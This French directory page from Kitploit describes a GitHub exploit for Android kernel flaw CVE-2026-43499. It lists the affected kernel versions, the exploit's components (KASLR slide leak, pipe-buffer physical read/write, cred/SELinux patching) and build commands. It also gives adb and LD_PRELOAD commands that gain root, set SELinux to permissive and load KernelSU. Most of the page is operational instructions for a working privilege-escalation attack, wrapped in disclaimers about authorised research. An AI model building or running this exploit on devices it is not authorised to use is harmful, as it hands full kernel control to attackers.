Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
asus_i005-CVE-2026-43499 — Exploit d'élévation de privilèges local Android pour CVE-2026-43499 qui corrige les creds du noyau et lance KernelSU embarqué en mode late-load via LD_PRELOAD. | Kitploit
Outils/GitHubGitHub/huaguiqi/asus_i005-cve-2026-43499
Sécurité AndroidEscalade de PrivilègesExploitationPost-ExploitationSécurité MobileDéveloppement de Charges UtilesExploitation de Binaires
GitHubhuaguiqi/asus_i005-cve-2026-43499

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

asus_i005-CVE-2026-43499

Exploit d'élévation de privilèges local Android pour CVE-2026-43499 qui corrige les creds du noyau et lance KernelSU embarqué en mode late-load via LD_PRELOAD.

Voir le dépôt
il y a 4h 11mPas encore vérifié

CVE-2026-43499-root-KernelSU

Adaptation d'élévation de privilèges locale basée sur la vulnérabilité du noyau CVE-2026-43499, intégrant KernelSU embarqué. Compile et génère preload.so ; après une exploitation réussie, KernelSU sera démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img.

Adaptation d'élévation de privilèges locale basée sur une vulnérabilité du noyau, intégrant KernelSU embarqué. Compile et génère preload.so ; après une exploitation réussie, KernelSU sera démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img. ou autre méthode

Projets de référence :

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] L'exploitation non autorisée de vulnérabilités pour endommager, compromettre ou accéder à des systèmes informatiques est interdite par la loi. Ce projet est fourni strictement à des fins de recherche, d'éducation et d'apprentissage, et ne peut être utilisé que dans des systèmes et environnements pour lesquels une autorisation préalable a été accordée. Toute utilisation de ce projet se fait aux risques et périls de l'utilisateur. Les auteurs et contributeurs n'assument aucune responsabilité pour toute mauvaise utilisation de ce projet ou pour tout dommage, perte ou conséquence juridique résultant de son utilisation.

Avertissement : l'exploitation non autorisée de vulnérabilités pour endommager, pénétrer ou accéder sans autorisation à des systèmes informatiques peut violer les lois et réglementations en vigueur. Ce projet est limité à des fins de recherche de sécurité, d'apprentissage et de test dans des systèmes et environnements légalement autorisés. Toute perte directe ou indirecte, responsabilité juridique ou autre conséquence résultant de l'utilisation, de l'abus ou de la modification de ce projet incombe à l'utilisateur, et les auteurs et contributeurs du projet déclinent toute responsabilité.

Périmètre d'impact

Lorsque votre version du noyau est {Linux Kernel}, vous êtes dans le périmètre d'impact de cette vulnérabilité

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

État actuel

TargetÉtat
rodin(par défaut)Vérifié
Autres src/targets/*Référence

Structure des répertoires

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # binaire userspace KernelSU embarqué dans preload.so
├── tools/
│   ├── generate_target.py       # point d'entrée unifié de génération de target.h de ce dépôt
│   └── vendor/                  # scripts auxiliaires de génération originaux synchronisés depuis le répertoire parent
└── src/
    ├── main.c                   # flux principal de l'exploit
    ├── preload.c                # constructeur LD_PRELOAD + écriture/lancement de ksud
    ├── root.c                   # patch cred/seccomp/SELinux/root
    ├── slide.c                  # fuite de slide KASLR via pselect
    ├── fops.c                   # route pselect/FOPS
    ├── pipe.c                   # primitive de lecture/écriture physique via pipe-buffer
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # helpers KernelSnitch
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Compilation

Dépendances

  • Hôte Linux
  • Android NDK
    • Chemin par défaut : ~/android-ndk-r29
    • Ou définir : ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Compilation

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Sortie :

root@kitploit:~
build/<target>/bin/preload.so

Lister les targets disponibles

root@kitploit:~
make list-projects

Générer target.h

Ce dépôt intègre déjà un script unifié de génération de target :

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py est le script d'entrée. Il s'inspire et encapsule tous les flux de génération de target du répertoire parent, puis produit un src/targets/<project>/target.h complet adapté au code source de ce dépôt.

Le script ne force pas la vérification de CONFIG_DEBUG_INFO_BTF=y dans IKCONFIG. Si les décalages des champs de structure ou la disposition percpu de entry_task ne peuvent pas être vérifiés, il affiche un avertissement et poursuit la génération.

Si l'image ne contient aucun BTF utilisable, par exemple en cas d'apparition de :

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

le générateur passe en fallback sans BTF :

  • Il continue à récupérer les décalages de symboles de fonctions/objets globaux depuis les kallsyms du boot.img courant ;
  • Les macros de champs de structure/layout qui ne peuvent pas être récupérées depuis le BTF héritent du target modèle, le modèle par défaut étant rodin ;
  • Un avertissement est écrit en tête du header généré, indiquant without BTF et le modèle utilisé ;
  • Ce type de header est garanti aussi compilable que possible, mais la fiabilité d'exécution doit être vérifiée sur appareil réel.

Il est possible de spécifier le modèle de fallback :

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# ou
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Génération avec boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

Écrit par défaut dans :

root@kitploit:~
src/targets/<project>/target.h

Il est également possible d'appeler directement le script :

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json doit contenir les informations d'adresse physique, par exemple :

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Détecter le profile depuis un appareil ADB rooté

Générer uniquement le profile :

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Détecter le profile et générer immédiatement le target :

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Génération à partir de (xbl_config.img / vendor_boot.img) + boot.img

Le script expose également les autres points d'entrée pris en charge par le générateur du répertoire parent :

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Exemples
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Forme de sortie en cas de succès :

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin conserve par défaut la valeur vérifiée sur appareil réel :

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Pour la remplacer :

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Ajouter un nouveau target

Il est recommandé de générer à partir d'une image boot et d'un profile correspondants :

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Un header de target complet contiendra :

  • les constantes de direct map / profile physique
  • les décalages des objets de slide KASLR
  • les décalages task / cred / SELinux
  • les décalages pipe / fops / configfs
  • les valeurs de layout pselect, par exemple PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ et les valeurs de réglage KernelSnitch

Exécution

Le code source actuel contient déjà les valeurs par défaut ; une exécution normale nécessite uniquement de définir LD_PRELOAD et d'exécuter n'importe quel programme (il est recommandé d'utiliser toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Paramètres d'exécution par défaut

La configuration par défaut actuelle est la suivante :

La commande ksud réellement exécutée par défaut est :

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Ces variables d'environnement peuvent toujours être remplacées à l'exécution, par exemple :

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Réutiliser un ksud déjà écrit :

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Nettoyage

root@kitploit:~
make clean

make clean conserve build/embed/ksud, car src/ksud_blob.S l'incorpore de la manière suivante :

root@kitploit:~
.incbin "build/embed/ksud"

Si un nettoyage manuel entraîne la perte de build/embed/ksud, il est possible de le restaurer :

root@kitploit:~
git checkout -- build/embed/ksud

Questions fréquentes

.incbin "build/embed/ksud" not found

Restaurer le payload embarqué puis recompiler :

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

La route FOPS renvoie success=0

rodin s'attend à utiliser le layout pselect legacy/simple :

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Si l'état de l'appareil a été pollué par des tentatives échouées, redémarrer puis réessayer :

root@kitploit:~
adb reboot

F_SETPIPE_SZ renvoie EPERM

Il s'agit généralement d'un problème d'état causé par des tentatives échouées/résiduelles ; le redémarrage est le moyen le plus rapide de nettoyer :

root@kitploit:~
adb reboot

ksud démarre mais /proc/modules ne contient pas KernelSU

Consulter les logs :

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

Si nécessaire, exécuter manuellement dans un shell root :

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

License

GPL-3.0. See LICENSE.

Télécharger l’outil
ParamètreValeur par défautDescription
KSUD_LATE_LOAD1Exécute ksud late-load
KSUD_ALLOW_SHELL1Passe --allow-shell
KSUD_PACKAGEme.weishu.kernelsuNom du package du gestionnaire transmis à ksud (semble sans effet)
KSUD_DST/data/local/tmp/ksudChemin d'écriture du ksud embarqué
KSUD_SKIP_WRITE0Écrit le ksud embarqué par défaut
KSUD_DEFER_TO_PARENT1Lance ksud depuis le chemin du processus parent/courant déjà patché
ROOT_PATCH_SELF1Patche le processus courant en uid 0
DISABLE_SELINUX1Écrit SELinux enforcing en permissive lors du root patch
ROOT_EXIT_SLEEPunset / 0Pas de sleep supplémentaire avant le retour